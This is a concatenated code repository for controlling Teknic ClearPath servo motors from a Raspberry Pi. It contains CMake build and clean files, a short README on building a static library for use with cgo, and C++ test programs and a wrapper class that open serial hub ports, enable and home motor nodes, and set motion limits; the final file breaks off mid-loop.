"/home/pi/ClearPathMotor/src/sFoundation/src/sysClassImpl.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/sFoundation/src/sysClassImpl.cpp.o" ) set(CMAKE_CXX_COMPILER_ID "GNU") # The include file search paths: set(CMAKE_CXX_TARGET_INCLUDE_PATH "include" "include/inc" "include/inc/inc-private" "include/inc/inc-private/linux" "include/inc/inc-private/sFound" "include/inc/inc-pub" "include/LibINI/inc" "include/LibLinuxOS/inc" "include/LibXML/inc" "include/LibMotors/inc" ) # Targets to which this target links. set(CMAKE_TARGET_LINKED_INFO_FILES "/home/pi/ClearPathMotor/CMakeFiles/sFoundation.dir/DependInfo.cmake" "/home/pi/ClearPathMotor/CMakeFiles/LibINI.dir/DependInfo.cmake" "/home/pi/ClearPathMotor/CMakeFiles/LibLinuxOS.dir/DependInfo.cmake" "/home/pi/ClearPathMotor/CMakeFiles/LibXML.dir/DependInfo.cmake" ) # Fortran module output directory. set(CMAKE_Fortran_TARGET_MODULE_DIR "") <file_sep>/README.md This generates a static library to be used with cgo to call the C API that controls the motors in golang. $ cmake . $ make LibMotors <file_sep>/CMakeFiles/sFoundation.dir/cmake_clean_target.cmake file(REMOVE_RECURSE "libsFoundation.a" ) <file_sep>/CMakeFiles/Example-StatusAlerts.dir/cmake_clean.cmake file(REMOVE_RECURSE "CMakeFiles/Example-StatusAlerts.dir/src/SDK_Examples/Example-StatusAlerts/Example-StatusAlerts.cpp.o" "Example-StatusAlerts.pdb" "Example-StatusAlerts" ) # Per-language clean rules from dependency scanning. foreach(lang CXX) include(CMakeFiles/Example-StatusAlerts.dir/cmake_clean_${lang}.cmake OPTIONAL) endforeach() <file_sep>/CMakeFiles/Example-MultiThreaded.dir/cmake_clean.cmake file(REMOVE_RECURSE "CMakeFiles/Example-MultiThreaded.dir/src/SDK_Examples/Example-MultiThreaded/Example-MultiThreaded.cpp.o" "CMakeFiles/Example-MultiThreaded.dir/src/SDK_Examples/Example-MultiThreaded/Axis.cpp.o" "CMakeFiles/Example-MultiThreaded.dir/src/SDK_Examples/Example-MultiThreaded/Supervisor.cpp.o" "Example-MultiThreaded.pdb" "Example-MultiThreaded" ) # Per-language clean rules from dependency scanning. foreach(lang CXX) include(CMakeFiles/Example-MultiThreaded.dir/cmake_clean_${lang}.cmake OPTIONAL) endforeach() <file_sep>/CMakeFiles/sFoundation.dir/cmake_clean.cmake file(REMOVE_RECURSE "CMakeFiles/sFoundation.dir/src/sFoundation/src-linux/SerialLinux.cpp.o" "CMakeFiles/sFoundation.dir/src/sFoundation/src-linux/lnkAccessLinux.cpp.o" "CMakeFiles/sFoundation.dir/src/sFoundation/src/SerialEx.cpp.o" "CMakeFiles/sFoundation.dir/src/sFoundation/src/converterLib.cpp.o" "CMakeFiles/sFoundation.dir/src/sFoundation/src/cpmAPI.cpp.o" "CMakeFiles/sFoundation.dir/src/sFoundation/src/cpmClassImpl.cpp.o" "CMakeFiles/sFoundation.dir/src/sFoundation/src/iscAPI.cpp.o" "CMakeFiles/sFoundation.dir/src/sFoundation/src/lnkAccessCommon.cpp.o" "CMakeFiles/sFoundation.dir/src/sFoundation/src/meridianNet.cpp.o" "CMakeFiles/sFoundation.dir/src/sFoundation/src/netCmdAPI.cpp.o" "CMakeFiles/sFoundation.dir/src/sFoundation/src/netCoreFmt.cpp.o" "CMakeFiles/sFoundation.dir/src/sFoundation/src/sysClassImpl.cpp.o" "libsFoundation.a" "libsFoundation.pdb" ) # Per-language clean rules from dependency scanning. foreach(lang CXX) include(CMakeFiles/sFoundation.dir/cmake_clean_${lang}.cmake OPTIONAL) endforeach() <file_sep>/src/motor_control/motor_test.cpp //Required include files #include <stdio.h> #include <string> #include <iostream> #include "pubSysCls.h" using namespace sFnd; // Send message and wait for newline void msgUser(const char *msg) { std::cout << msg; getchar(); } //***************************************************************************** // This program will load configuration files onto each node connected to the // port, then executes sequential repeated moves on each axis. //***************************************************************************** #define ACC_LIM_NODE_1 400 #define VEL_SHORT_NODE_1 300 #define VEL_LONG_NODE_1 300 #define DWELL_SHORT 1 #define DWELL_LONG 1 #define MOVE_DISTANCE_NODE_1 -10 #define NUM_MOVES 1 #define TIME_TILL_TIMEOUT 10000 //The timeout used for homing(ms) int main(int argc, char* argv[]) { msgUser("Motion Example starting. Press Enter to continue."); size_t portCount = 0; std::vector<std::string> comHubPorts; // Create the SysManager object. This object will coordinate actions among // various ports and within nodes. In this example we use this object to setup // and open our port. SysManager myMgr; // This will try to open the port. If there is an error/exception during the // port opening, the code will jump to the catch loop where detailed // information regarding the error will be displayed; otherwise the catch loop // is skipped over try { SysManager::FindComHubPorts(comHubPorts); printf("Found %d SC Hubs\n", comHubPorts.size()); for (portCount = 0; portCount < comHubPorts.size() && portCount < NET_CONTROLLER_MAX; portCount++) { // Define the first SC Hub port (port 0) to be associated with COM // portnum (as seen in device manager) myMgr.ComHubPort(portCount, comHubPorts[portCount].c_str()); } if (portCount < 0) { printf("Unable to locate SC hub port\n"); // waits for user to press a key msgUser("Press any key to continue."); return -1; } //Open the port myMgr.PortsOpen(portCount); IPort &myPort = myMgr.Ports(0); printf(" Port[%d]: state=%d, nodes=%d\n", myPort.NetNumber(), myPort.OpenState(), myPort.NodeCount()); //Once the code gets past this point, it can be assumed that the Port has // been opened without issue. Now we can get a reference to our port object // which we will use to access the node objects for (size_t iNode = 0; iNode < myPort.NodeCount(); iNode++) { // Create a shortcut reference for a node INode &theNode = myPort.Nodes(iNode); theNode.EnableReq(false); myMgr.Delay(200); printf(" Node[%d]: type=%d\n", int(iNode), theNode.Info.NodeType()); printf(" userID: %s\n", theNode.Info.UserID.Value()); printf(" FW version: %s\n", theNode.Info.FirmwareVersion.Value()); printf(" Serial #: %d\n", theNode.Info.SerialNumber.Value()); printf(" Model: %s\n", theNode.Info.Model.Value()); // The following statements will attempt to enable the node. First, // any shutdowns or NodeStops are cleared, finally the node is enabled theNode.Status.AlertsClear(); theNode.Motion.NodeStopClear(); theNode.EnableReq(true); //Enable node //At this point the node is enabled printf("Node \t%zi enabled\n", iNode); //define a timeout in case the node is unable to enable double timeout = myMgr.TimeStampMsec() + TIME_TILL_TIMEOUT; // This will loop checking on the Real time values of the node's // Ready status while (!theNode.Motion.IsReady()) { if (myMgr.TimeStampMsec() > timeout) { printf("Error: Timed out waiting for Node %d to enable\n", iNode); // waits for user to press a key msgUser("Press any key to continue."); return -2; } } // At this point the Node is enabled, and we will now check to see if // the Node has been home. Check the Node to see if it has already // been homed, if (theNode.Motion.Homing.HomingValid()) { if (theNode.Motion.Homing.WasHomed()) { printf("Node %d has already been homed," "current position is:\t%8.0f\n", iNode, theNode.Motion.PosnMeasured.Value()); printf("Rehoming Node... \n"); } else { printf("Node [%d] has not been homed. Homing Node now...\n", iNode); } //Now we will home the Node theNode.Motion.Homing.Initiate(); //define a timeout in case the node is unable to enable timeout = myMgr.TimeStampMsec() + TIME_TILL_TIMEOUT; // Basic mode - Poll until disabled while (!theNode.Motion.Homing.WasHomed()) { if (myMgr.TimeStampMsec() > timeout) { printf("Node did not complete homing: \n\t" "-Ensure Homing settings have been defined through" " ClearView. \n\t -Check for alerts/Shutdowns \n\t" " -Ensure timeout is longer than the longest" "possible homing move.\n"); msgUser("Press any key to continue."); return -2; } } printf("Node completed homing\n"); } /* else { printf("Node[%d] has not had homing setup through ClearView. " */ /* "The node will not be homed. Zeroing Position\n", iNode); */ /* theNode.Motion.AddToPosition( */ /* -(double)theNode.Motion.PosnCommanded); */ /* } */ } /////////////////////////////////////////////////////////////////////// //At this point we will execute 10 rev moves sequentially on each axis /////////////////////////////////////////////////////////////////////// /* INode &Node1 = myPort.Nodes(0); //Set the units for Acceleration to RPM/SEC Node1.AccUnit(INode::RPM_PER_SEC); //Set the units for Velocity to RPM Node1.VelUnit(INode::RPM); Node1.Motion.PosnMeasured.AutoRefresh(true); for(size_t j=0; j < 50;j++) { //Set Acceleration Limit (RPM/Sec) Node1.Motion.AccLimit = ACC_LIM_NODE_1; //Set Velocity Limit (RPM) Node1.Motion.VelLimit = VEL_SHORT_NODE_1; // set this for a "HEAD" move: //Node1.Motion.Adv.HeadDistance = 10000; //sets the head distance to 12,800 quad counts //Node1.Motion.Adv.TailDistance = 0; //sets the tail distance to 12,800 quad counts // set this for a "TAIL" move: //Node1.Motion.Adv.HeadDistance = 0; //sets the head distance to 12,800 quad counts //Node1.Motion.Adv.TailDistance = 10000; //sets the tail distance to 12,800 quad counts // set this for a "HEAD" & "TAIL" move: //Node1.Motion.Adv.HeadDistance = 10000; //sets the head distance to 12,800 quad counts //Node1.Motion.Adv.TailDistance = 10000; //sets the tail distance to 12,800 quad counts //Node1.Motion.Adv.HeadTailVelLimit = 500; //sets the tail distance to 12,800 quad counts Node1.Motion.Adv.DecelLimit = 5000; for (size_t i = 0; i < NUM_MOVES; i++) { printf("Moving Nodes...Current Positions: \n"); //Node1.Motion.Adv.MovePosnHeadTailStart( // MOVE_DISTANCE_NODE_1 / NUM_MOVES); //Execute 10000 encoder count move Node1.Motion.MovePosnStart(MOVE_DISTANCE_NODE_1 / NUM_MOVES); //define a timeout in case the node is unable to enable double timeout = myMgr.TimeStampMsec() + 5000; while (!Node1.Motion.MoveIsDone()) { if (myMgr.TimeStampMsec() > timeout) { printf("Error: Timed out waiting for move to complete\n"); msgUser("Press any key to continue."); return -2; } printf("Node 0: %.1f\r", (double)Node1.Motion.PosnMeasured); } printf("Node 0: %.1f\n", (double)Node1.Motion.PosnMeasured); printf("Move completed\n"); myMgr.Delay(DWELL_SHORT); } // for each move myMgr.Delay(DWELL_SHORT); //Set Velocity Limit (RPM) Node1.Motion.VelLimit = VEL_LONG_NODE_1; printf("Returning to original position..."); //Node1.Motion.Adv.MovePosnHeadTailStart(0, true); // Execute 10000 encoder count move //Node1.Motion.Adv.MovePosnAsymStart(0, true); // Execute 10000 encoder count move Node1.Motion.MovePosnStart(0, true); double timeout = myMgr.TimeStampMsec() + 5000; while (!Node1.Motion.MoveIsDone()) { if (myMgr.TimeStampMsec() > timeout) { printf("Error: Timed out waiting for move to complete\n"); msgUser("Press any key to continue."); return -2; } printf("Node 0: %.1f\r", (double)Node1.Motion.PosnMeasured); } printf("Node 0: %.1f\n", (double)Node1.Motion.PosnMeasured); printf("Move completed\n"); myMgr.Delay(DWELL_LONG); }*/ /////////////////////////////////////////////////////////////////////// //After moves have completed Disable node, and close ports /////////////////////////////////////////////////////////////////////// printf("Disabling nodes, and closing port\n"); //Disable Nodes for (size_t iNode = 0; iNode < myPort.NodeCount(); iNode++) { // Create a shortcut reference for a node myPort.Nodes(iNode).EnableReq(false); } } catch (mnErr& theErr) { printf("Failed to disable Nodes n\n"); // This statement will print the address of the error, the error code // (defined by the mnErr class),as well as the corresponding error message. printf("Caught error: addr=%d, err=0x%08x\nmsg=%s\n", theErr.TheAddr, theErr.ErrorCode, theErr.ErrorMsg); msgUser("Press any key to continue."); return 0; //This terminates the main program } // Close down the ports myMgr.PortsClose(); msgUser("Press any key to continue."); return 0; //End program } <file_sep>/src/LibMotors/src/clearPathMotors.cpp #include "clearPathMotors.h" void CP_Motors::initialize() { _nodeCount = 0; _manager = SysManager(); openPort(); getNodes(); configNodes(); homeNodes(); } int CP_Motors::nodeCount() { return _nodeCount; } void CP_Motors::openPort() { size_t portCount = 0; std::vector<std::string> comHubPorts; SysManager::FindComHubPorts(comHubPorts); printf("Found %d SC Hubs\n", comHubPorts.size()); for (portCount = 0; portCount < comHubPorts.size() && portCount < NET_CONTROLLER_MAX; portCount++) { // Define the first SC Hub port (port 0) to be associated with COM // portnum (as seen in device manager) _manager.ComHubPort(portCount, comHubPorts[portCount].c_str()); } if (portCount < 0) { printf("Unable to locate SC hub port\n"); // waits for user to press a key exit(-1); } _manager.PortsOpen(portCount); _port = &_manager.Ports(0); printf(" Port[%d]: state=%d, nodes=%d\n", _port->NetNumber(), _port->OpenState(), _port->NodeCount()); } void CP_Motors::getNodes() { _nodeCount = _port->NodeCount(); _nodes = new INode*[_nodeCount]; for (size_t iNode = 0; iNode < _nodeCount; iNode++) { // Create a shortcut reference for a node _nodes[iNode] = &_port->Nodes(iNode); _nodes[iNode]->EnableReq(false); _manager.Delay(200); printf(" Node[%d]: type=%d\n", int(iNode), _nodes[iNode]->Info.NodeType()); printf(" userID: %s\n", _nodes[iNode]->Info.UserID.Value()); printf(" FW version: %s\n", _nodes[iNode]->Info.FirmwareVersion.Value()); printf(" Serial #: %d\n", _nodes[iNode]->Info.SerialNumber.Value()); printf(" Model: %s\n", _nodes[iNode]->Info.Model.Value()); // The following statements will attempt to enable the node. First, // any shutdowns or NodeStops are cleared, finally the node is enabled _nodes[iNode]->Status.AlertsClear(); _nodes[iNode]->Motion.NodeStopClear(); _nodes[iNode]->EnableReq(true); //Enable node //At this point the node is enabled printf("Node \t%zi enabled\n", iNode); //define a timeout in case the node is unable to enable double timeout = _manager.TimeStampMsec() + TIMEOUT; // This will loop checking on the Real time values of the node's // Ready status while (!_nodes[iNode]->Motion.IsReady()) { if (_manager.TimeStampMsec() > timeout) { printf("Error: Timed out waiting for Node %d to enable\n", iNode); // waits for user to press a key exit(-2); } } } } void CP_Motors::configNodes() { for (size_t iNode = 0; iNode < _nodeCount; iNode++) { //Set the units for Acceleration to RPM/SEC _nodes[iNode]->AccUnit(INode::RPM_PER_SEC); //Set the units for Velocity to RPM _nodes[iNode]->VelUnit(INode::RPM); _nodes[iNode]->Motion.PosnMeasured.AutoRefresh(true); } } void CP_Motors::homeNodes() { for (size_t iNode = 0; iNode < _nodeCount; iNode++) { INode &theNode = *_nodes[iNode]; if (theNode.Motion.Homing.HomingValid()) { if (theNode.Motion.Homing.WasHomed()) { printf("Node %d has already been homed," "current position is:\t%8.0f\n", iNode, theNode.Motion.PosnMeasured.Value()); printf("Rehoming Node... \n"); } else { printf("Node [%d] has not been homed. Homing Node now...\n", iNode); } //Now we will home the Node theNode.Motion.Homing.Initiate(); } } for (size_t iNode = 0; iNode < _nodeCount; iNode++) { INode &theNode = *_nodes[iNode]; while(theNode.Motion.Homing.IsHoming()) {} printf("Homing done"); } } //CP_Motors::~CP_Motors() { // delete [] _nodes; //} void CP_Motors::startMovePosNode(int indexNode, int numSteps, int isTargetAbsolute) { if(isTargetAbsolute) { _nodes[indexNode]->Motion.MovePosnStart(numSteps, true, false); } else { _nodes[indexNode]->Motion.MovePosnStart(numSteps, false, false); } } void CP_Motors::startMoveVelNode(int indexNode, int velocity) { _nodes[indexNode]->Motion.MoveVelStart(velocity); } bool CP_Motors::isMoveDoneNode(int indexNode) { return _nodes[indexNode]->Motion.MoveIsDone(); } int CP_Motors::readPosNode(int indexNode) { return _nodes[indexNode]->Motion.PosnMeasured; } int CP_Motors::readPosCommandedNode(int indexNode) { return _nodes[indexNode]->Motion.PosnCommanded; } int CP_Motors::readVelNode(int indexNode) { return _nodes[indexNode]->Motion.VelMeasured; } void CP_Motors::setAccelNode(int indexNode, int accel) { printf("Modified the acceleration of node %d to %d RPM/sec\n", indexNode, accel); _nodes[indexNode]->Motion.AccLimit = accel; } void CP_Motors::setVelNode(int indexNode, int vel) { printf("Modified the velocity of node %d to %d RPM\n", indexNode, vel); _nodes[indexNode]->Motion.VelLimit = vel; } void CP_Motors::stopNodeHard(int indexNode) { _nodes[indexNode]->Motion.NodeStop(STOP_TYPE_ABRUPT); } void CP_Motors::stopNodeDecel(int indexNode) { _nodes[indexNode]->Motion.NodeStop(STOP_TYPE_RAMP_AT_DECEL); } void CP_Motors::stopNodeClear(int indexNode) { _nodes[indexNode]->Motion.NodeStopClear(); } <file_sep>/CMakeFiles/sFoundation.dir/DependInfo.cmake # The set of languages for which implicit dependencies are needed: set(CMAKE_DEPENDS_LANGUAGES "CXX" ) # The set of files for implicit dependencies of each language: set(CMAKE_DEPENDS_CHECK_CXX "/home/pi/ClearPathMotor/src/sFoundation/src-linux/SerialLinux.cpp" "/home/pi/ClearPathMotor/CMakeFiles/sFoundation.dir/src/sFoundation/src-linux/SerialLinux.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src-linux/lnkAccessLinux.cpp" "/home/pi/ClearPathMotor/CMakeFiles/sFoundation.dir/src/sFoundation/src-linux/lnkAccessLinux.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/SerialEx.cpp" "/home/pi/ClearPathMotor/CMakeFiles/sFoundation.dir/src/sFoundation/src/SerialEx.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/converterLib.cpp" "/home/pi/ClearPathMotor/CMakeFiles/sFoundation.dir/src/sFoundation/src/converterLib.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/cpmAPI.cpp" "/home/pi/ClearPathMotor/CMakeFiles/sFoundation.dir/src/sFoundation/src/cpmAPI.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/cpmClassImpl.cpp" "/home/pi/ClearPathMotor/CMakeFiles/sFoundation.dir/src/sFoundation/src/cpmClassImpl.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/iscAPI.cpp" "/home/pi/ClearPathMotor/CMakeFiles/sFoundation.dir/src/sFoundation/src/iscAPI.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/lnkAccessCommon.cpp" "/home/pi/ClearPathMotor/CMakeFiles/sFoundation.dir/src/sFoundation/src/lnkAccessCommon.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/meridianNet.cpp" "/home/pi/ClearPathMotor/CMakeFiles/sFoundation.dir/src/sFoundation/src/meridianNet.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/netCmdAPI.cpp" "/home/pi/ClearPathMotor/CMakeFiles/sFoundation.dir/src/sFoundation/src/netCmdAPI.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/netCoreFmt.cpp" "/home/pi/ClearPathMotor/CMakeFiles/sFoundation.dir/src/sFoundation/src/netCoreFmt.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/sysClassImpl.cpp" "/home/pi/ClearPathMotor/CMakeFiles/sFoundation.dir/src/sFoundation/src/sysClassImpl.cpp.o" ) set(CMAKE_CXX_COMPILER_ID "GNU") # The include file search paths: set(CMAKE_CXX_TARGET_INCLUDE_PATH "include" "include/inc" "include/inc/inc-private" "include/inc/inc-private/linux" "include/inc/inc-private/sFound" "include/inc/inc-pub" "include/LibINI/inc" "include/LibLinuxOS/inc" "include/LibXML/inc" "include/LibMotors/inc" ) # Targets to which this target links. set(CMAKE_TARGET_LINKED_INFO_FILES "/home/pi/ClearPathMotor/CMakeFiles/LibINI.dir/DependInfo.cmake" "/home/pi/ClearPathMotor/CMakeFiles/LibLinuxOS.dir/DependInfo.cmake" "/home/pi/ClearPathMotor/CMakeFiles/LibXML.dir/DependInfo.cmake" ) # Fortran module output directory. set(CMAKE_Fortran_TARGET_MODULE_DIR "") <file_sep>/CMakeFiles/LibINI.dir/cmake_clean.cmake file(REMOVE_RECURSE "CMakeFiles/LibINI.dir/src/LibINI/src/dictionary.cpp.o" "CMakeFiles/LibINI.dir/src/LibINI/src/iniparser.cpp.o" "libLibINI.a" "libLibINI.pdb" ) # Per-language clean rules from dependency scanning. foreach(lang CXX) include(CMakeFiles/LibINI.dir/cmake_clean_${lang}.cmake OPTIONAL) endforeach() <file_sep>/CMakeLists.txt cmake_minimum_required(VERSION 2.8.3) project(teknic_motor_controller) set(THREADS_PREFER_PTHREAD_FLAG ON) find_package(Threads REQUIRED) #find_package(CMAKE_DL_LIBS REQUIRED) add_compile_options(-lpthread) #find_package( # COMPONENTS # # message_generation ## sensor_msgs #) include_directories( include include/inc include/inc/inc-private include/inc/inc-private/linux include/inc/inc-private/sFound include/inc/inc-pub include/LibINI/inc include/LibLinuxOS/inc include/LibXML/inc include/LibMotors/inc ${Threads_INCLUDE_DIRS} ) add_executable(Motor_Test src/motor_control/motor_test.cpp ) add_executable(Homing_Test src/motor_control/homing_test.cpp ) #add_executable(Example-MultiThreaded # src/SDK_Examples/Example-MultiThreaded/Example-MultiThreaded.cpp # src/SDK_Examples/Example-MultiThreaded/Axis.cpp # src/SDK_Examples/Example-MultiThreaded/Supervisor.cpp #) add_library(LibINI src/LibINI/src/dictionary.cpp src/LibINI/src/iniparser.cpp ) add_library(LibLinuxOS src/LibLinuxOS/src/tekEventsLinux.cpp src/LibLinuxOS/src/tekThreadsLinux.cpp src/LibLinuxOS/src/version.cpp ) add_library(LibXML src/LibXML/src/ErrCodeStr.cpp src/LibXML/src/pugixml.cpp ) add_library(sFoundation src/sFoundation/src/converterLib.cpp src/sFoundation/src/cpmAPI.cpp src/sFoundation/src/cpmClassImpl.cpp src/sFoundation/src/iscAPI.cpp src/sFoundation/src/lnkAccessCommon.cpp src/sFoundation/src/meridianNet.cpp src/sFoundation/src/netCmdAPI.cpp src/sFoundation/src/netCoreFmt.cpp src/sFoundation/src/SerialEx.cpp src/sFoundation/src/sysClassImpl.cpp src/sFoundation/src-linux/lnkAccessLinux.cpp src/sFoundation/src-linux/SerialLinux.cpp ) add_library(LibMotors STATIC src/LibMotors/src/motors.cpp src/LibMotors/src/clearPathMotors.cpp src/LibINI/src/dictionary.cpp src/LibINI/src/iniparser.cpp src/LibLinuxOS/src/tekEventsLinux.cpp src/LibLinuxOS/src/tekThreadsLinux.cpp src/LibLinuxOS/src/version.cpp src/LibXML/src/ErrCodeStr.cpp src/LibXML/src/pugixml.cpp src/sFoundation/src/converterLib.cpp src/sFoundation/src/cpmAPI.cpp src/sFoundation/src/cpmClassImpl.cpp src/sFoundation/src/iscAPI.cpp src/sFoundation/src/lnkAccessCommon.cpp src/sFoundation/src/meridianNet.cpp src/sFoundation/src/netCmdAPI.cpp src/sFoundation/src/netCoreFmt.cpp src/sFoundation/src/SerialEx.cpp src/sFoundation/src/sysClassImpl.cpp src/sFoundation/src-linux/lnkAccessLinux.cpp src/sFoundation/src-linux/SerialLinux.cpp ) target_link_libraries(sFoundation LibINI LibLinuxOS LibXML ${CMAKE_DL_LIBS} Threads::Threads) #target_link_libraries(sFoundation LibINI LibLinuxOS LibXML Threads::Threads) target_link_libraries(LibMotors sFoundation LibINI LibLinuxOS LibXML ${CMAKE_DL_LIBS} Threads::Threads) #target_link_libraries(trash_bot_motor_controller sFoundation) target_link_libraries(Motor_Test sFoundation) target_link_libraries(Homing_Test sFoundation) # target_link_libraries(Example-MultiThreaded sFoundation) <file_sep>/src/motor_control/homing_test.cpp //Required include files #include <stdio.h> #include <string> #include <iostream> #include <stdlib.h> #include "pubSysCls.h" using namespace sFnd; // Send message and wait for newline void msgUser(const char *msg) { std::cout << msg; getchar(); } class CP_Motors { public: void initialize(); int nodeCount(); void startMovePosNode(int indexNode, int numSteps); void startMoveVelNode(int indexNode, int velocity); bool isMoveDoneNode(int indexNode); int readPosNode(int indexNode); void setAccelNode(int indexNode, int accel); void setVelNode(int indexNode, int vel); void backAndForthSequence(int indexNode, int travelLength); void stopNodeHard(int indexNode); void stopNodeDecel(int indexNode); ~CP_Motors(); SysManager _manager; IPort* _port; INode** _nodes; int _nodeCount = 0; private: /* SysManager _manager; IPort* _port; INode** _nodes; int _nodeCount = 0; */ void openPort(); void getNodes(); void configNodes(); void homeNodes(); }; //***************************************************************************** // This program will load configuration files onto each node connected to the // port, then executes sequential repeated moves on each axis. //***************************************************************************** #define ACC_LIM_NODE_1 400 #define VEL_SHORT_NODE_1 300 #define VEL_LONG_NODE_1 300 #define VEL_HOMING_NODE_1 100 #define DWELL_SHORT 1 #define DWELL_LONG 1 #define MOVE_DISTANCE_NODE_1 7000 #define NUM_MOVES 1 #define TIME_TILL_TIMEOUT 10000 //The timeout used for homing(ms) int main(int argc, char* argv[]) { msgUser("Motion Example starting. Press Enter to continue."); CP_Motors motors; try { motors.initialize(); /////////////////////////////////////////////////////////////////////// //At this point we will execute 10 rev moves sequentially on each axis /////////////////////////////////////////////////////////////////////// INode &Node1 = *motors._nodes[0]; motors.setVelNode(0, 4100); motors.setAccelNode(0, 12000); motors.setVelNode(2, 4100); motors.setAccelNode(2, 12000); motors.setVelNode(4, 4100); motors.setAccelNode(4, 12000); motors.setVelNode(1, 400); motors.setAccelNode(1, 1000); motors.setVelNode(3, 400); motors.setAccelNode(3, 1000); motors.setVelNode(5, 400); motors.setAccelNode(5, 1000); motors.backAndForthSequence(0, 500); // for(size_t j=0; j < 10;j++) { // for (size_t i = 0; i < NUM_MOVES; i++) { /* printf("Moving Nodes...Current Positions: \n"); Node1.Motion.VelLimit = VEL_HOMING_NODE_1; //motors.startMoveNode(0,-MOVE_DISTANCE_NODE_1); printf("Start Move of %d step", 0); motors.startMoveNode(0,-7000); Node1.Motion.MovePosnStart(MOVE_DISTANCE_NODE_1); //define a timeout in case the node is unable to enable double timeout = motors._manager.TimeStampMsec() + 5000; //while (!Node1.Motion.MoveIsDone()) { while (!motors.isMoveDoneNode(0)) { if (motors._manager.TimeStampMsec() > timeout) { printf("Error: Timed out waiting for move to complete\n"); msgUser("Press any key to continue."); return -2; } //Node1.CPMStatus // printf("Node 0 pos: %.1f\n", (double)Node1.Motion.PosnMeasured); // printf("Node 0 torque: %.1f\n", (double)Node1.Motion.TrqMeasured); } printf("Node 0: %.1f\n", (double)Node1.Motion.PosnMeasured); printf("Move completed\n"); motors._manager.Delay(DWELL_SHORT); */ // } // for each move /* motors._manager.Delay(DWELL_SHORT); //Set Velocity Limit (RPM) Node1.Motion.VelLimit = VEL_LONG_NODE_1; printf("Returning to original position..."); Node1.Motion.MovePosnStart(0, true); double timeout = motors._manager.TimeStampMsec() + 5000; while (!Node1.Motion.MoveIsDone()) { if (motors._manager.TimeStampMsec() > timeout) { printf("Error: Timed out waiting for move to complete\n"); msgUser("Press any key to continue."); return -2; } printf("Node 0: %.1f\r", (double)Node1.Motion.PosnMeasured); } printf("Node 0: %.1f\n", (double)Node1.Motion.PosnMeasured); printf("Move completed\n"); motors._manager.Delay(DWELL_LONG); */ // } /////////////////////////////////////////////////////////////////////// //After moves have completed Disable node, and close ports /////////////////////////////////////////////////////////////////////// printf("Disabling nodes, and closing port\n"); //Disable Nodes for (size_t iNode = 0; iNode < motors._port->NodeCount(); iNode++) { // Create a shortcut reference for a node motors._port->Nodes(iNode).EnableReq(false); } } catch (mnErr& theErr) { // This statement will print the address of the error, the error code // (defined by the mnErr class),as well as the corresponding error message. printf("Caught error: addr=%d, err=0x%08x\nmsg=%s\n", theErr.TheAddr, theErr.ErrorCode, theErr.ErrorMsg); msgUser("Press any key to continue."); return 0; } // Close down the ports motors._manager.PortsClose(); msgUser("Press any key to continue."); return 0; } void CP_Motors::initialize() { _manager = SysManager(); openPort(); getNodes(); configNodes(); homeNodes(); } int CP_Motors::nodeCount() { return _nodeCount; } void CP_Motors::openPort() { size_t portCount = 0; std::vector<std::string> comHubPorts; SysManager::FindComHubPorts(comHubPorts); printf("Found %d SC Hubs\n", comHubPorts.size()); for (portCount = 0; portCount < comHubPorts.size() && portCount < NET_CONTROLLER_MAX; portCount++) { // Define the first SC Hub port (port 0) to be associated with COM // portnum (as seen in device manager) _manager.ComHubPort(portCount, comHubPorts[portCount].c_str()); } if (portCount < 0) { printf("Unable to locate SC hub port\n"); // waits for user to press a key msgUser("Press any key to continue."); exit(-1); } _manager.PortsOpen(portCount); _port = &_manager.Ports(0); printf(" Port[%d]: state=%d, nodes=%d\n", _port->NetNumber(), _port->OpenState(), _port->NodeCount()); } void CP_Motors::getNodes() { _nodeCount = _port->NodeCount(); _nodes = new INode*[_nodeCount]; for (size_t iNode = 0; iNode < _nodeCount; iNode++) { // Create a shortcut reference for a node _nodes[iNode] = &_port->Nodes(iNode); _nodes[iNode]->EnableReq(false); _manager.Delay(200); printf(" Node[%d]: type=%d\n", int(iNode), _nodes[iNode]->Info.NodeType()); printf(" userID: %s\n", _nodes[iNode]->Info.UserID.Value()); printf(" FW version: %s\n", _nodes[iNode]->Info.FirmwareVersion.Value()); printf(" Serial #: %d\n", _nodes[iNode]->Info.SerialNumber.Value()); printf(" Model: %s\n", _nodes[iNode]->Info.Model.Value()); // The following statements will attempt to enable the node. First, // any shutdowns or NodeStops are cleared, finally the node is enabled _nodes[iNode]->Status.AlertsClear(); _nodes[iNode]->Motion.NodeStopClear(); _nodes[iNode]->EnableReq(true); //Enable node //At this point the node is enabled printf("Node \t%zi enabled\n", iNode); //define a timeout in case the node is unable to enable double timeout = _manager.TimeStampMsec() + TIME_TILL_TIMEOUT; // This will loop checking on the Real time values of the node's // Ready status while (!_nodes[iNode]->Motion.IsReady()) { if (_manager.TimeStampMsec() > timeout) { printf("Error: Timed out waiting for Node %d to enable\n", iNode); // waits for user to press a key msgUser("Press any key to continue."); exit(-2); } } } } void CP_Motors::configNodes() { printf("node count: %d", _nodeCount); for (size_t iNode = 0; iNode < _nodeCount; iNode++) { //Set the units for Acceleration to RPM/SEC _nodes[iNode]->AccUnit(INode::RPM_PER_SEC); //Set the units for Velocity to RPM _nodes[iNode]->VelUnit(INode::RPM); _nodes[iNode]->Motion.PosnMeasured.AutoRefresh(true); //Set Acceleration Limit (RPM/Sec) _nodes[iNode]->Motion.AccLimit = ACC_LIM_NODE_1; //Set Velocity Limit (RPM) _nodes[iNode]->Motion.VelLimit = VEL_SHORT_NODE_1; } } void CP_Motors::homeNodes() { for (size_t iNode = 0; iNode < _nodeCount; iNode++) { INode &theNode = *_nodes[iNode]; if (theNode.Motion.Homing.HomingValid()) { if (theNode.Motion.Homing.WasHomed()) { printf("Node %d has already been homed," "current position is:\t%8.0f\n", iNode, theNode.Motion.PosnMeasured.Value()); printf("Rehoming Node... \n"); } else { printf("Node [%d] has not been homed. Homing Node now...\n", iNode); } //Now we will home the Node theNode.Motion.Homing.Initiate(); } } for (size_t iNode = 0; 